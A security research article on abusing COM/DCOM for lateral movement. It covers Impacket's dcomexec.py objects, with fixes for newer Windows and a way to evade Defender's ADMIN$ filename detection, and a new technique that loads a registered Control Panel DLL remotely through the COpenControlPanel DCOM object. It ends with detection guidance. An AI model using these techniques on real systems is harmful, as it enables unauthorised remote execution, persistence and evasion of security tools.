COM stands for Component Object Model, a Microsoft technology that defines a binary standard for interoperability. It enables the creation of reusable software components that can interact at runtime without the need to compile COM libraries directly into an application.
These software components operate in a client–server model. A COM object exposes its functionality through one or more interfaces. An interface is essentially a collection of related member functions (methods).
COM also enables communication between processes running on the same machine by using local RPC (Remote Procedure Call) to handle cross-process communication.
Terms
To ensure a better understanding of its structure and functionality, let’s revise COM-related terminology.
COM interface A COM interface defines the functionality that a COM object exposes. Each COM interface is identified by a unique GUID known as the IID (Interface ID). All COM interfaces can be found in the Windows Registry under HKEY_CLASSES_ROOT\Interface, where they are organized by GUID.
COM class (COM CoClass) A COM class is the actual implementation of one or more COM interfaces. Like COM interfaces, classes are identified by unique GUIDs, but in this case the GUID is called the CLSID (Class ID). This GUID is used to locate the COM server and activate the corresponding COM class.
All COM classes must be registered in the registry under HKEY_CLASSES_ROOT\CLSID, where each class’s GUID is stored. Under each GUID, you may find multiple subkeys that serve different purposes, such as:
InprocServer32/LocalServer32: Specifies the system path of the COM server where the class is defined. InprocServer32 is used for in-process servers (DLLs), while LocalServer32 is used for out-of-process servers (EXEs). We’ll describe this in more detail later.
ProgID: A human-readable name assigned to the COM class.
TypeLib: A binary description of the COM class (essentially documentation for the class).
AppID: Used to describe security configuration for the class.
COM server A COM is the module where a COM class is defined. The server can be implemented as an EXE, in which case it is called an out-of-process server, or as a DLL, in which case it is called an in-process server. Each COM server has a unique file path or location in the system. Information about COM servers is stored in the Windows Registry. The COM runtime uses the registry to locate the server and perform further actions. Registry entries for COM servers are located under the HKEY_CLASSES_ROOT root key for both 32- and 64-bit servers.
Component Object Model implementation
Client–server model
In-process server In the case of an in-process server, the server is implemented as a DLL. The client loads this DLL into its own address space and directly executes functions exposed by the COM object. This approach is efficient since both client and server run within the same process.
In-process COM server
Out-of-process server Here, the server is implemented and compiled as an executable (EXE). Since the client cannot load an EXE into its address space, the server runs in its own process, separate from the client. Communication between the two processes is handled via ALPC (Advanced Local Procedure Call) ports, which serve as the RPC transport layer for COM.
Out-of-process COM server
What is DCOM?
DCOM is an extension of COM where the D stands for Distributed. It enables the client and server to reside on different machines. From the user’s perspective, there is no difference: DCOM provides an abstraction layer that makes both the client and the server appear as if they are on the same machine.
Under the hood, however, COM uses TCP as the RPC transport layer to enable communication across machines.
Distributed COM implementation
Certain requirements must be met to extend a COM object into a DCOM object. The most important one for our research is the presence of the AppID subkey in the registry, located under the COM CLSID entry.
The AppID value contains a GUID that maps to a corresponding key under HKEY_CLASSES_ROOT\AppID. Several subkeys may exist under this GUID. Two critical ones are:
These registry settings grant remote clients permissions to activate and interact with DCOM objects.
Lateral movement via DCOM
After attackers compromise a host, their next objective is often to compromise additional machines. This is what we call lateral movement. One common lateral movement technique is to achieve remote command execution on a target machine. There are many ways to do this, one of which involves abusing DCOM objects.
In recent years, many DCOM objects have been discovered. This research focuses on the objects exposed by the Impacket script dcomexec.py that can be used for command execution. More specifically, three exposed objects are used: ShellWindows, ShellBrowserWindow and MMC20.
ShellWindows
ShellWindows was one of the first DCOM objects to be identified. It represents a collection of open shell windows and is hosted by explorer.exe, meaning any COM client communicates with that process.
In Impacket’s dcomexec.py, once an instance of this COM object is created on a remote machine, the script provides a semi-interactive shell.
Each time a user enters a command, the function exposed by the COM object is called. The command output is redirected to a file, which the script retrieves via SMB and displays back to simulate a regular shell.
Internally, the script runs this command when connecting:
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__17602 2>&1
This sets the working directory to C:\ and redirects the output to the ADMIN$ share under the filename __17602. After that, the script checks whether the file exists; if it does, execution is considered successful and the output appears as if in a shell.
When running dcomexec.py against Windows 10 and 11 using the ShellWindows object, the script hangs after confirming SMB connection initialization and printing the SMB banner. As I mentioned in my personal blog post, it appears that this DCOM object no longer has permission to write to the ADMIN$ share. A simple fix is to redirect the output to a directory the DCOM object can write to, such as the Temp folder. The Temp folder can then be accessed under the same ADMIN$ share. A small change in the code resolves the issue. For example:
ShellBrowserWindow
The ShellBrowserWindow object behaves almost identically to ShellWindows and exhibits the same behavior on Windows 10. The same workaround that we used for ShellWindows applies in this case. However, on Windows 11, this object no longer works for command execution.
MMC20
The MMC20.Application COM object is the automation interface for Microsoft Management Console (MMC). It exposes methods and properties that allow MMC snap-ins to be automated.
This object has historically worked across all Windows versions. Starting with Windows Server 2025, however, attempting to use it triggers a Defender alert, and execution is blocked.
As shown in earlier examples, the dcomexec.py script writes the command output to a file under ADMIN$, with a filename that begins with __:
OUTPUT_FILENAME = '__' + str(time.time())[:5]
Defender appears to check for files written under ADMIN$ that start with __, and when it detects one, it blocks the process and alerts the user. A quick fix is to simply remove the double underscores from the output filename.
Another way to bypass this issue is to use the same workaround used for ShellWindows – redirecting the output to the Temp folder. The table below outlines the status of these objects across different Windows versions.
Windows Server 2025
Windows Server 2022
Windows 11
Windows 10
ShellWindows
Doesn’t work
Doesn’t work
Works but needs a fix
Works but needs a fix
ShellBrowserWindow
Doesn’t work
Doesn’t work
Doesn’t work
Works but needs a fix
MMC20
Detected by Defender
Works
Works
Works
Enumerating COM/DCOM objects
The first step to identifying which DCOM objects could be used for lateral movement is to enumerate them. By enumerating, I don’t just mean listing the objects. Enumeration involves:
Finding objects and filtering specifically for DCOM objects.
Identifying their interfaces.
Inspecting the exposed functions.
Automating enumeration is difficult because most COM objects lack a type library (TypeLib). A TypeLib acts as documentation for an object: which interfaces it supports, which functions are exposed, and the definitions of those functions. Even when TypeLibs are available, manual inspection is often still required, as we will explain later.
There are several approaches to enumerating COM objects depending on their use cases. Next, we’ll describe the methods I used while conducting this research, taking into account both automated and manual methods.
Automation using PowerShell In PowerShell, you can use .NET to create and interact with DCOM objects. Objects can be created using either their ProgID or CLSID, after which you can call their functions (as shown in the figure below).
Shell.Application COM object function list in PowerShell
Under the hood, PowerShell checks whether the COM object has a TypeLib and implements the IDispatch interface. IDispatch enables late binding, which allows runtime dynamic object creation and function invocation. With these two conditions met, PowerShell can dynamically interact with COM objects at runtime.
Our strategy looks like this:
As you can see in the last box, we perform manual inspection to look for functions with names that could be of interest, such as Execute, Exec, Shell, etc. These names often indicate potential command execution capabilities.
However, this approach has several limitations:
TypeLib requirement: Not all COM objects have a TypeLib, so many objects cannot be enumerated this way.
IDispatch requirement: Not all COM objects implement the IDispatch interface, which is required for PowerShell interaction.
Interface control: When you instantiate an object in PowerShell, you cannot choose which interface the instance will be tied to. If a COM class implements multiple interfaces, PowerShell will automatically select the one marked as [default] in the TypeLib. This means that other non-default interfaces, which may contain additional relevant functionality, such as command execution, could be overlooked.
Automation using C++ As you might expect, C++ is one of the languages that natively supports COM clients. Using C++, you can create instances of COM objects and call their functions via header files that define the interfaces.However, with this approach, we are not necessarily interested in calling functions directly. Instead, the goal is to check whether a specific COM object supports certain interfaces. The reasoning is that many interfaces have been found to contain functions that can be abused for command execution or other purposes.
This strategy primarily relies on an interface called IUnknown. All COM interfaces should inherit from this interface, and all COM classes should implement it.The IUnknown interface exposes three main functions. The most important is QueryInterface(), which is used to ask a COM object for a pointer to one of its interfaces.So, the strategy is to:
Enumerate COM classes in the system by reading CLSIDs under the HKEY_CLASSES_ROOT\CLSID key.
Check whether they support any known valuable interfaces. If they do, those classes may be leveraged for command execution or other useful functionality.
This method has several advantages:
No TypeLib dependency: Unlike PowerShell, this approach does not require the COM object to have a TypeLib.
Use of IUnknown: In C++, you can use the QueryInterface function from the base IUnknown interface to check if a particular interface is supported by a COM class.
No need for interface definitions: Even without knowing the exact interface structure, you can obtain a pointer to its virtual function table (vtable), typically cast as a void*. This is enough to confirm the existence of the interface and potentially inspect it further.
The figure below illustrates this strategy:
This approach is good in terms of automation because it eliminates the need for manual inspection. However, we are still only checking well-known interfaces commonly used for lateral movement, while potentially missing others.
Manual inspection using open-source tools
As you can see, automation can be difficult since it requires several prerequisites and, in many cases, still ends with a manual inspection. An alternative approach is manual inspection using a tool called OleViewDotNet, developed by James Forshaw. This tool allows you to:
List all COM classes in the system.
Create instances of those classes.
Check their supported interfaces.
Call specific functions.
Apply various filters for easier analysis.
Perform other inspection tasks.
Open-source tool for inspecting COM interfaces
One of the most valuable features of this tool is its naming visibility. OleViewDotNet extracts the names of interfaces and classes (when available) from the Windows Registry and displays them, along with any associated type libraries.
This makes manual inspection easier, since you can analyze the names of classes, interfaces, or type libraries and correlate them with potentially interesting functionality, for example, functions that could lead to command execution or persistence techniques.
Control Panel items as attack surfaces
Control Panel items allow users to view and adjust their computer settings. These items are implemented as DLLs that export the CPlApplet function and typically have the .cpl extension. Control Panel items can also be executables, but our research will focus on DLLs only.
Control Panel items
Attackers can abuse CPL files for initial access. When a user executes a malicious .cpl file (e.g., delivered via phishing), the system may be compromised – a technique mapped to MITRE ATT&CK T1218.002.
Adversaries may also modify the extensions of malicious DLLs to .cpl and register them in the corresponding locations in the registry.
Under HKEY_CURRENT_USER:
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
Under HKEY_LOCAL_MACHINE:
For 64-bit DLLs:
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
For 32-bit DLLs:
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
These locations are important when Control Panel DLLs need to be available to the current logged-in user or to all users on the machine. However, the “Control Panel” subkey and its “Cpls” subkey under HKCU should be created manually, unlike the “Control Panel” and “Cpls” subkeys under HKLM, which are created automatically by the operating system.
Once registered, the DLL (CPL file) will load every time the Control Panel is opened, enabling persistence on the victim’s system.
It’s worth noting that even DLLs that do not comply with the CPL specification, do not export CPlApplet, or do not have the .cpl extension can still be executed via their DllEntryPoint function if they are registered under the registry keys listed above.
There are multiple ways to execute Control Panel items:
This calls the Control_RunDLL function from shell32.dll, passing the CPL file as an argument. Everything inside the CPlApplet function will then be executed.
However, if the CPL file has been registered in the registry as shown earlier, then every time the Control Panel is opened, the file is loaded into memory through the COM Surrogate process (dllhost.exe):
COM Surrogate process loading the CPL file
What happened was that a Control Panel with a COM client used a COM object to load these CPL files. We will talk about this COM object in more detail later.
The COM Surrogate process was designed to host COM server DLLs in a separate process rather than loading them directly into the client process’s address space. This isolation improves stability for the in-process server model. This hosting behavior can be configured for a COM object in the registry if you want a COM server DLL to run inside a separate process because, by default, it is loaded in the same process.
‘DCOMing’ through Control Panel items
While following the manual approach of enumerating COM/DCOM objects that could be useful for lateral movement, I came across a COM object called COpenControlPanel, which is exposed through shell32.dll and has the CLSID {06622D85-6856-4460-8DE1-A81921B41C4B}. This object exposes multiple interfaces, one of which is IOpenControlPanel with IID {D11AD862-66DE-4DF4-BF6C-1F5621996AF1}.
IOpenControlPanel interface in the OleViewDotNet output
I immediately thought of its potential to compromise Control Panel items, so I wanted to check which functions were exposed by this interface. Unfortunately, neither the interface nor the COM class has a type library.
COpenControlPanel interfaces without TypeLib
Normally, checking the interface definition would require reverse engineering, so at first, it looked like we needed to take a different research path. However, it turned out that the IOpenControlPanel interface is documented on MSDN, and according to the documentation, it exposes several functions. One of them, called Open, allows a specified Control Panel item to be opened using its name as the first argument.
Full type and function definitions are provided in the shobjidl_core.h Windows header file.
Open function exposed by IOpenControlPanel interface
It’s worth noting that in newer versions of Windows (e.g., Windows Server 2025 and Windows 11), Microsoft has removed interface names from the registry, which means they can no longer be identified through OleViewDotNet.
COpenControlPanel interfaces without names
Returning to the COpenControlPanel COM object, I found that the Open function can trigger a DLL to be loaded into memory if it has been registered in the registry. For the purposes of this research, I created a DLL that basically just spawns a message box which is defined under the DllEntryPoint function. I registered it under HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls and then created a simple C++ COM client to call the Open function on this interface.
As expected, the DLL was loaded into memory. It was hosted in the same way that it would be if the Control Panel itself was opened: through the COM Surrogate process (dllhost.exe). Using Process Explorer, it was clear that dllhost.exe loaded my DLL while simultaneously hosting the COpenControlPanel object along with other COM objects.
COM Surrogate loading a custom DLL and hosting the COpenControlPanel object
Based on my testing, I made the following observations:
The DLL that needs to be registered does not necessarily have to be a .cpl file; any DLL with a valid entry point will be loaded.
The Open() function accepts the name of a Control Panel item as its first argument. However, it appears that even if a random string is supplied, it still causes all DLLs registered in the relevant registry location to be loaded into memory.
Now, what if we could trigger this COM object remotely? In other words, what if it is not just a COM object but also a DCOM object? To verify this, we checked the AppID of the COpenControlPanel object using OleViewDotNet.
COpenControlPanel object in OleViewDotNet
Both the launch and access permissions are empty, which means the object will follow the system’s default DCOM security policy. By default, members of the Administrators group are allowed to launch and access the DCOM object.
Based on this, we can build a remote strategy. First, upload the “malicious” DLL, then use the Remote Registry service to register it in the appropriate registry location. Finally, use a trigger acting as a DCOM client to remotely invoke the Open() function, causing our DLL to be loaded. The diagram below illustrates the flow of this approach.
Malicious DLL loading using DCOM
The trigger can be written in either C++ or Python, for example, using Impacket. I chose Python because of its flexibility. The trigger itself is straightforward: we define the DCOM class, the interface, and the function to call. The full code example can be found here.
Once the trigger runs, the behavior will be the same as when executing the COM client locally: our DLL will be loaded through the COM Surrogate process (dllhost.exe).
As you can see, this technique not only achieves command execution but also provides persistence. It can be triggered in two ways: when a user opens the Control Panel or remotely at any time via DCOM.
Detection
The first step in detecting such activity is to check whether any Control Panel items have been registered under the following registry paths:
Although commonly known best practices and research papers regarding Windows security advise monitoring only the first subkey, for thorough coverage it is important to monitor all of the above.
In addition, monitoring dllhost.exe (COM Surrogate) for unusual COM objects such as COpenControlPanel can provide indicators of malicious activity.
Finally, it is always recommended to monitor Remote Registry usage because it is commonly abused in many types of attacks, not just in this scenario.
Conclusion
In conclusion, I hope this research has clarified yet another attack vector and emphasized the importance of implementing hardening practices. Below are a few closing points for security researchers to take into account:
As shown, DCOM represents a large attack surface. Windows exposes many DCOM classes, a significant number of which lack type libraries – meaning reverse engineering can reveal additional classes that may be abused for lateral movement.
Changing registry values to register malicious CPLs is not good practice from a red teaming ethics perspective. Defender products tend to monitor common persistence paths, but Control Panel applets can be registered in multiple registry locations, so there is always a gap that can be exploited.
Bitness also matters. On x64 systems, loading a 32-bit DLL will spawn a 32-bit COM Surrogate process (dllhost.exe *32). This is unusual on 64-bit hosts and therefore serves as a useful detection signal for defenders and an interesting red flag for red teamers to consider.
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